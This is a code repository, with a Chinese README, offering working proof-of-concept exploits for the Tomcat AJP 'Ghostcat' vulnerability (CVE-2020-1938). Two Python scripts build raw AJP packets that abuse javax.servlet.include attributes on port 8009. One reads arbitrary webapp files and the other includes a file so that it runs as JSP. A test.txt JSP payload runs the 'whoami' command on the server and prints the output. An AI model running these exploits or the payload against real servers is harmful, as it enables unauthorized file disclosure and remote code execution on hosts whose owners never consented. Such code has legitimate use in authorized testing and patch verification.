├── README.md ├── Tomcat-ROOT路径下文件包含(CVE-2020-1938).py ├── Tomcat-ROOT路径下文件读取(CVE-2020-1938).py ├── rce.png └── test.txt /README.md: -------------------------------------------------------------------------------- 1 | #### CVE-2020-1938(Tomcat-file_include and file_red) 2 | Tomcat的文件包含及文件读取漏洞利用POC 3 | 4 | ### 文件读取 5 | * Usage :python2 "Tomcat-ROOT路径下文件读取(CVE-2020-1938).py" -p 8009 -f /test.txt 127.0.0.1 6 | ### 文件包含 7 | * Usage :python2 "Tomcat-ROOT路径下文件包含(CVE-2020-1938).py" -p 8009 -f /test.txt 127.0.0.1 8 | 9 | 复现详情:http://www.svenbeast.com/post/fqSI9laE8/ 10 | 11 | * img: 12 | ![RCE](./rce.png) 13 | 14 | 参考链接: 15 | * https://twitter.com/jas502n/status/1230531680999395328 16 | * https://forum.90sec.com/t/topic/801 17 | * https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/ 18 | 19 | 20 | -------------------------------------------------------------------------------- /Tomcat-ROOT路径下文件包含(CVE-2020-1938).py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #CNVD-2020-10487 Tomcat-Ajp lfi 3 | #by ydhcui 4 | import struct 5 | 6 | # Some references: 7 | # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html 8 | def pack_string(s): 9 | if s is None: 10 | return struct.pack(">h", -1) 11 | l = len(s) 12 | return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) 13 | def unpack(stream, fmt): 14 | size = struct.calcsize(fmt) 15 | buf = stream.read(size) 16 | return struct.unpack(fmt, buf) 17 | def unpack_string(stream): 18 | size, = unpack(stream, ">h") 19 | if size == -1: # null string 20 | return None 21 | res, = unpack(stream, "%ds" % size) 22 | stream.read(1) # \0 23 | return res 24 | class NotFoundException(Exception): 25 | pass 26 | class AjpBodyRequest(object): 27 | # server == web server, container == servlet 28 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 29 | MAX_REQUEST_LENGTH = 8186 30 | def __init__(self, data_stream, data_len, data_direction=None): 31 | self.data_stream = data_stream 32 | self.data_len = data_len 33 | self.data_direction = data_direction 34 | def serialize(self): 35 | data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) 36 | if len(data) == 0: 37 | return struct.pack(">bbH", 0x12, 0x34, 0x00) 38 | else: 39 | res = struct.pack(">H", len(data)) 40 | res += data 41 | if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: 42 | header = struct.pack(">bbH", 0x12, 0x34, len(res)) 43 | else: 44 | header = struct.pack(">bbH", 0x41, 0x42, len(res)) 45 | return header + res 46 | def send_and_receive(self, socket, stream): 47 | while True: 48 | data = self.serialize() 49 | socket.send(data) 50 | r = AjpResponse.receive(stream) 51 | while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: 52 | r = AjpResponse.receive(stream) 53 | 54 | if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: 55 | break 56 | class AjpForwardRequest(object): 57 | _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) 58 | REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} 59 | # server == web server, container == servlet 60 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 61 | COMMON_HEADERS = ["SC_REQ_ACCEPT", 62 | "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", 63 | "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", 64 | "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" 65 | ] 66 | ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] 67 | def __init__(self, data_direction=None): 68 | self.prefix_code = 0x02 69 | self.method = None 70 | self.protocol = None 71 | self.req_uri = None 72 | self.remote_addr = None 73 | self.remote_host = None 74 | self.server_name = None 75 | self.server_port = None 76 | self.is_ssl = None 77 | self.num_headers = None 78 | self.request_headers = None 79 | self.attributes = None 80 | self.data_direction = data_direction 81 | def pack_headers(self): 82 | self.num_headers = len(self.request_headers) 83 | res = "" 84 | res = struct.pack(">h", self.num_headers) 85 | for h_name in self.request_headers: 86 | if h_name.startswith("SC_REQ"): 87 | code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 88 | res += struct.pack("BB", 0xA0, code) 89 | else: 90 | res += pack_string(h_name) 91 | 92 | res += pack_string(self.request_headers[h_name]) 93 | return res 94 | 95 | def pack_attributes(self): 96 | res = b"" 97 | for attr in self.attributes: 98 | a_name = attr['name'] 99 | code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 100 | res += struct.pack("b", code) 101 | if a_name == "req_attribute": 102 | aa_name, a_value = attr['value'] 103 | res += pack_string(aa_name) 104 | res += pack_string(a_value) 105 | else: 106 | res += pack_string(attr['value']) 107 | res += struct.pack("B", 0xFF) 108 | return res 109 | def serialize(self): 110 | res = "" 111 | res = struct.pack("bb", self.prefix_code, self.method) 112 | res += pack_string(self.protocol) 113 | res += pack_string(self.req_uri) 114 | res += pack_string(self.remote_addr) 115 | res += pack_string(self.remote_host) 116 | res += pack_string(self.server_name) 117 | res += struct.pack(">h", self.server_port) 118 | res += struct.pack("?", self.is_ssl) 119 | res += self.pack_headers() 120 | res += self.pack_attributes() 121 | if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: 122 | header = struct.pack(">bbh", 0x12, 0x34, len(res)) 123 | else: 124 | header = struct.pack(">bbh", 0x41, 0x42, len(res)) 125 | return header + res 126 | def parse(self, raw_packet): 127 | stream = StringIO(raw_packet) 128 | self.magic1, self.magic2, data_len = unpack(stream, "bbH") 129 | self.prefix_code, self.method = unpack(stream, "bb") 130 | self.protocol = unpack_string(stream) 131 | self.req_uri = unpack_string(stream) 132 | self.remote_addr = unpack_string(stream) 133 | self.remote_host = unpack_string(stream) 134 | self.server_name = unpack_string(stream) 135 | self.server_port = unpack(stream, ">h") 136 | self.is_ssl = unpack(stream, "?") 137 | self.num_headers, = unpack(stream, ">H") 138 | self.request_headers = {} 139 | for i in range(self.num_headers): 140 | code, = unpack(stream, ">H") 141 | if code > 0xA000: 142 | h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] 143 | else: 144 | h_name = unpack(stream, "%ds" % code) 145 | stream.read(1) # \0 146 | h_value = unpack_string(stream) 147 | self.request_headers[h_name] = h_value 148 | def send_and_receive(self, socket, stream, save_cookies=False): 149 | res = [] 150 | i = socket.sendall(self.serialize()) 151 | if self.method == AjpForwardRequest.POST: 152 | return res 153 | 154 | r = AjpResponse.receive(stream) 155 | assert r.prefix_code == AjpResponse.SEND_HEADERS 156 | res.append(r) 157 | if save_cookies and 'Set-Cookie' in r.response_headers: 158 | self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] 159 | 160 | # read body chunks and end response packets 161 | while True: 162 | r = AjpResponse.receive(stream) 163 | res.append(r) 164 | if r.prefix_code == AjpResponse.END_RESPONSE: 165 | break 166 | elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: 167 | continue 168 | else: 169 | raise NotImplementedError 170 | break 171 | 172 | return res 173 | 174 | class AjpResponse(object): 175 | _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) 176 | COMMON_SEND_HEADERS = [ 177 | "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", 178 | "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" 179 | ] 180 | def parse(self, stream): 181 | # read headers 182 | self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") 183 | 184 | if self.prefix_code == AjpResponse.SEND_HEADERS: 185 | self.parse_send_headers(stream) 186 | elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: 187 | self.parse_send_body_chunk(stream) 188 | elif self.prefix_code == AjpResponse.END_RESPONSE: 189 | self.parse_end_response(stream) 190 | elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: 191 | self.parse_get_body_chunk(stream) 192 | else: 193 | raise NotImplementedError 194 | 195 | def parse_send_headers(self, stream): 196 | self.http_status_code, = unpack(stream, ">H") 197 | self.http_status_msg = unpack_string(stream) 198 | self.num_headers, = unpack(stream, ">H") 199 | self.response_headers = {} 200 | for i in range(self.num_headers): 201 | code, = unpack(stream, ">H") 202 | if code <= 0xA000: # custom header 203 | h_name, = unpack(stream, "%ds" % code) 204 | stream.read(1) # \0 205 | h_value = unpack_string(stream) 206 | else: 207 | h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] 208 | h_value = unpack_string(stream) 209 | self.response_headers[h_name] = h_value 210 | 211 | def parse_send_body_chunk(self, stream): 212 | self.data_length, = unpack(stream, ">H") 213 | self.data = stream.read(self.data_length+1) 214 | 215 | def parse_end_response(self, stream): 216 | self.reuse, = unpack(stream, "b") 217 | 218 | def parse_get_body_chunk(self, stream): 219 | rlen, = unpack(stream, ">H") 220 | return rlen 221 | 222 | @staticmethod 223 | def receive(stream): 224 | r = AjpResponse() 225 | r.parse(stream) 226 | return r 227 | 228 | import socket 229 | 230 | def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): 231 | fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) 232 | fr.method = method 233 | fr.protocol = "HTTP/1.1" 234 | fr.req_uri = req_uri 235 | fr.remote_addr = target_host 236 | fr.remote_host = None 237 | fr.server_name = target_host 238 | fr.server_port = 80 239 | fr.request_headers = { 240 | 'SC_REQ_ACCEPT': 'text/html', 241 | 'SC_REQ_CONNECTION': 'keep-alive', 242 | 'SC_REQ_CONTENT_LENGTH': '0', 243 | 'SC_REQ_HOST': target_host, 244 | 'SC_REQ_USER_AGENT': 'Mozilla', 245 | 'Accept-Encoding': 'gzip, deflate, sdch', 246 | 'Accept-Language': 'en-US,en;q=0.5', 247 | 'Upgrade-Insecure-Requests': '1', 248 | 'Cache-Control': 'max-age=0' 249 | } 250 | fr.is_ssl = False 251 | fr.attributes = [] 252 | return fr 253 | 254 | class Tomcat(object): 255 | def __init__(self, target_host, target_port): 256 | self.target_host = target_host 257 | self.target_port = target_port 258 | 259 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 260 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 261 | self.socket.connect((target_host, target_port)) 262 | self.stream = self.socket.makefile("rb", bufsize=0) 263 | 264 | def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): 265 | self.req_uri = req_uri 266 | self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) 267 | print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) 268 | if user is not None and password is not None: 269 | self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') 270 | for h in headers: 271 | self.forward_request.request_headers[h] = headers[h] 272 | for a in attributes: 273 | self.forward_request.attributes.append(a) 274 | responses = self.forward_request.send_and_receive(self.socket, self.stream) 275 | if len(responses) == 0: 276 | return None, None 277 | snd_hdrs_res = responses[0] 278 | data_res = responses[1:-1] 279 | if len(data_res) == 0: 280 | print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) 281 | return snd_hdrs_res, data_res 282 | 283 | ''' 284 | javax.servlet.include.request_uri 285 | javax.servlet.include.path_info 286 | javax.servlet.include.servlet_path 287 | ''' 288 | 289 | import argparse 290 | parser = argparse.ArgumentParser() 291 | parser.add_argument("target", type=str, help="Hostname or IP to attack") 292 | parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") 293 | parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") 294 | args = parser.parse_args() 295 | t = Tomcat(args.target, args.port) 296 | _,data = t.perform_request('/asdf.jsp',attributes=[ 297 | {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, 298 | {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, 299 | {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, 300 | ]) 301 | print('----------------------------') 302 | print("".join([d.data for d in data])) 303 | -------------------------------------------------------------------------------- /Tomcat-ROOT路径下文件读取(CVE-2020-1938).py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #CNVD-2020-10487 Tomcat-Ajp lfi 3 | #by ydhcui 4 | import struct 5 | 6 | # Some references: 7 | # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html 8 | def pack_string(s): 9 | if s is None: 10 | return struct.pack(">h", -1) 11 | l = len(s) 12 | return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) 13 | def unpack(stream, fmt): 14 | size = struct.calcsize(fmt) 15 | buf = stream.read(size) 16 | return struct.unpack(fmt, buf) 17 | def unpack_string(stream): 18 | size, = unpack(stream, ">h") 19 | if size == -1: # null string 20 | return None 21 | res, = unpack(stream, "%ds" % size) 22 | stream.read(1) # \0 23 | return res 24 | class NotFoundException(Exception): 25 | pass 26 | class AjpBodyRequest(object): 27 | # server == web server, container == servlet 28 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 29 | MAX_REQUEST_LENGTH = 8186 30 | def __init__(self, data_stream, data_len, data_direction=None): 31 | self.data_stream = data_stream 32 | self.data_len = data_len 33 | self.data_direction = data_direction 34 | def serialize(self): 35 | data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) 36 | if len(data) == 0: 37 | return struct.pack(">bbH", 0x12, 0x34, 0x00) 38 | else: 39 | res = struct.pack(">H", len(data)) 40 | res += data 41 | if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: 42 | header = struct.pack(">bbH", 0x12, 0x34, len(res)) 43 | else: 44 | header = struct.pack(">bbH", 0x41, 0x42, len(res)) 45 | return header + res 46 | def send_and_receive(self, socket, stream): 47 | while True: 48 | data = self.serialize() 49 | socket.send(data) 50 | r = AjpResponse.receive(stream) 51 | while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: 52 | r = AjpResponse.receive(stream) 53 | 54 | if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: 55 | break 56 | class AjpForwardRequest(object): 57 | _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) 58 | REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} 59 | # server == web server, container == servlet 60 | SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) 61 | COMMON_HEADERS = ["SC_REQ_ACCEPT", 62 | "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", 63 | "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", 64 | "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" 65 | ] 66 | ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] 67 | def __init__(self, data_direction=None): 68 | self.prefix_code = 0x02 69 | self.method = None 70 | self.protocol = None 71 | self.req_uri = None 72 | self.remote_addr = None 73 | self.remote_host = None 74 | self.server_name = None 75 | self.server_port = None 76 | self.is_ssl = None 77 | self.num_headers = None 78 | self.request_headers = None 79 | self.attributes = None 80 | self.data_direction = data_direction 81 | def pack_headers(self): 82 | self.num_headers = len(self.request_headers) 83 | res = "" 84 | res = struct.pack(">h", self.num_headers) 85 | for h_name in self.request_headers: 86 | if h_name.startswith("SC_REQ"): 87 | code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 88 | res += struct.pack("BB", 0xA0, code) 89 | else: 90 | res += pack_string(h_name) 91 | 92 | res += pack_string(self.request_headers[h_name]) 93 | return res 94 | 95 | def pack_attributes(self): 96 | res = b"" 97 | for attr in self.attributes: 98 | a_name = attr['name'] 99 | code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 100 | res += struct.pack("b", code) 101 | if a_name == "req_attribute": 102 | aa_name, a_value = attr['value'] 103 | res += pack_string(aa_name) 104 | res += pack_string(a_value) 105 | else: 106 | res += pack_string(attr['value']) 107 | res += struct.pack("B", 0xFF) 108 | return res 109 | def serialize(self): 110 | res = "" 111 | res = struct.pack("bb", self.prefix_code, self.method) 112 | res += pack_string(self.protocol) 113 | res += pack_string(self.req_uri) 114 | res += pack_string(self.remote_addr) 115 | res += pack_string(self.remote_host) 116 | res += pack_string(self.server_name) 117 | res += struct.pack(">h", self.server_port) 118 | res += struct.pack("?", self.is_ssl) 119 | res += self.pack_headers() 120 | res += self.pack_attributes() 121 | if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: 122 | header = struct.pack(">bbh", 0x12, 0x34, len(res)) 123 | else: 124 | header = struct.pack(">bbh", 0x41, 0x42, len(res)) 125 | return header + res 126 | def parse(self, raw_packet): 127 | stream = StringIO(raw_packet) 128 | self.magic1, self.magic2, data_len = unpack(stream, "bbH") 129 | self.prefix_code, self.method = unpack(stream, "bb") 130 | self.protocol = unpack_string(stream) 131 | self.req_uri = unpack_string(stream) 132 | self.remote_addr = unpack_string(stream) 133 | self.remote_host = unpack_string(stream) 134 | self.server_name = unpack_string(stream) 135 | self.server_port = unpack(stream, ">h") 136 | self.is_ssl = unpack(stream, "?") 137 | self.num_headers, = unpack(stream, ">H") 138 | self.request_headers = {} 139 | for i in range(self.num_headers): 140 | code, = unpack(stream, ">H") 141 | if code > 0xA000: 142 | h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] 143 | else: 144 | h_name = unpack(stream, "%ds" % code) 145 | stream.read(1) # \0 146 | h_value = unpack_string(stream) 147 | self.request_headers[h_name] = h_value 148 | def send_and_receive(self, socket, stream, save_cookies=False): 149 | res = [] 150 | i = socket.sendall(self.serialize()) 151 | if self.method == AjpForwardRequest.POST: 152 | return res 153 | 154 | r = AjpResponse.receive(stream) 155 | assert r.prefix_code == AjpResponse.SEND_HEADERS 156 | res.append(r) 157 | if save_cookies and 'Set-Cookie' in r.response_headers: 158 | self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] 159 | 160 | # read body chunks and end response packets 161 | while True: 162 | r = AjpResponse.receive(stream) 163 | res.append(r) 164 | if r.prefix_code == AjpResponse.END_RESPONSE: 165 | break 166 | elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: 167 | continue 168 | else: 169 | raise NotImplementedError 170 | break 171 | 172 | return res 173 | 174 | class AjpResponse(object): 175 | _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) 176 | COMMON_SEND_HEADERS = [ 177 | "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", 178 | "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" 179 | ] 180 | def parse(self, stream): 181 | # read headers 182 | self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") 183 | 184 | if self.prefix_code == AjpResponse.SEND_HEADERS: 185 | self.parse_send_headers(stream) 186 | elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: 187 | self.parse_send_body_chunk(stream) 188 | elif self.prefix_code == AjpResponse.END_RESPONSE: 189 | self.parse_end_response(stream) 190 | elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: 191 | self.parse_get_body_chunk(stream) 192 | else: 193 | raise NotImplementedError 194 | 195 | def parse_send_headers(self, stream): 196 | self.http_status_code, = unpack(stream, ">H") 197 | self.http_status_msg = unpack_string(stream) 198 | self.num_headers, = unpack(stream, ">H") 199 | self.response_headers = {} 200 | for i in range(self.num_headers): 201 | code, = unpack(stream, ">H") 202 | if code <= 0xA000: # custom header 203 | h_name, = unpack(stream, "%ds" % code) 204 | stream.read(1) # \0 205 | h_value = unpack_string(stream) 206 | else: 207 | h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] 208 | h_value = unpack_string(stream) 209 | self.response_headers[h_name] = h_value 210 | 211 | def parse_send_body_chunk(self, stream): 212 | self.data_length, = unpack(stream, ">H") 213 | self.data = stream.read(self.data_length+1) 214 | 215 | def parse_end_response(self, stream): 216 | self.reuse, = unpack(stream, "b") 217 | 218 | def parse_get_body_chunk(self, stream): 219 | rlen, = unpack(stream, ">H") 220 | return rlen 221 | 222 | @staticmethod 223 | def receive(stream): 224 | r = AjpResponse() 225 | r.parse(stream) 226 | return r 227 | 228 | import socket 229 | 230 | def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): 231 | fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) 232 | fr.method = method 233 | fr.protocol = "HTTP/1.1" 234 | fr.req_uri = req_uri 235 | fr.remote_addr = target_host 236 | fr.remote_host = None 237 | fr.server_name = target_host 238 | fr.server_port = 80 239 | fr.request_headers = { 240 | 'SC_REQ_ACCEPT': 'text/html', 241 | 'SC_REQ_CONNECTION': 'keep-alive', 242 | 'SC_REQ_CONTENT_LENGTH': '0', 243 | 'SC_REQ_HOST': target_host, 244 | 'SC_REQ_USER_AGENT': 'Mozilla', 245 | 'Accept-Encoding': 'gzip, deflate, sdch', 246 | 'Accept-Language': 'en-US,en;q=0.5', 247 | 'Upgrade-Insecure-Requests': '1', 248 | 'Cache-Control': 'max-age=0' 249 | } 250 | fr.is_ssl = False 251 | fr.attributes = [] 252 | return fr 253 | 254 | class Tomcat(object): 255 | def __init__(self, target_host, target_port): 256 | self.target_host = target_host 257 | self.target_port = target_port 258 | 259 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 260 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 261 | self.socket.connect((target_host, target_port)) 262 | self.stream = self.socket.makefile("rb", bufsize=0) 263 | 264 | def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): 265 | self.req_uri = req_uri 266 | self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) 267 | print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) 268 | if user is not None and password is not None: 269 | self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') 270 | for h in headers: 271 | self.forward_request.request_headers[h] = headers[h] 272 | for a in attributes: 273 | self.forward_request.attributes.append(a) 274 | responses = self.forward_request.send_and_receive(self.socket, self.stream) 275 | if len(responses) == 0: 276 | return None, None 277 | snd_hdrs_res = responses[0] 278 | data_res = responses[1:-1] 279 | if len(data_res) == 0: 280 | print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) 281 | return snd_hdrs_res, data_res 282 | 283 | ''' 284 | javax.servlet.include.request_uri 285 | javax.servlet.include.path_info 286 | javax.servlet.include.servlet_path 287 | ''' 288 | 289 | import argparse 290 | parser = argparse.ArgumentParser() 291 | parser.add_argument("target", type=str, help="Hostname or IP to attack") 292 | parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") 293 | parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") 294 | args = parser.parse_args() 295 | t = Tomcat(args.target, args.port) 296 | _,data = t.perform_request('/asdf',attributes=[ 297 | {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, 298 | {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, 299 | {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, 300 | ]) 301 | print('----------------------------') 302 | print("".join([d.data for d in data])) 303 | -------------------------------------------------------------------------------- /rce.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/bd0907053260f3aa78047c5c55ea138b8c14c4c2/rce.png -------------------------------------------------------------------------------- /test.txt: -------------------------------------------------------------------------------- 1 | <% 2 | java.io.InputStream in = Runtime.getRuntime().exec("whoami").getInputStream(); 3 | int a = -1; 4 | byte[] b = new byte[2048]; 5 | out.print("
");
 6 | 	while((a=in.read(b))!=-1){
 7 | 		out.println(new Strint(b));
 8 | 	}
 9 | 	out.print("
"); 10 | %> --------------------------------------------------------------------------------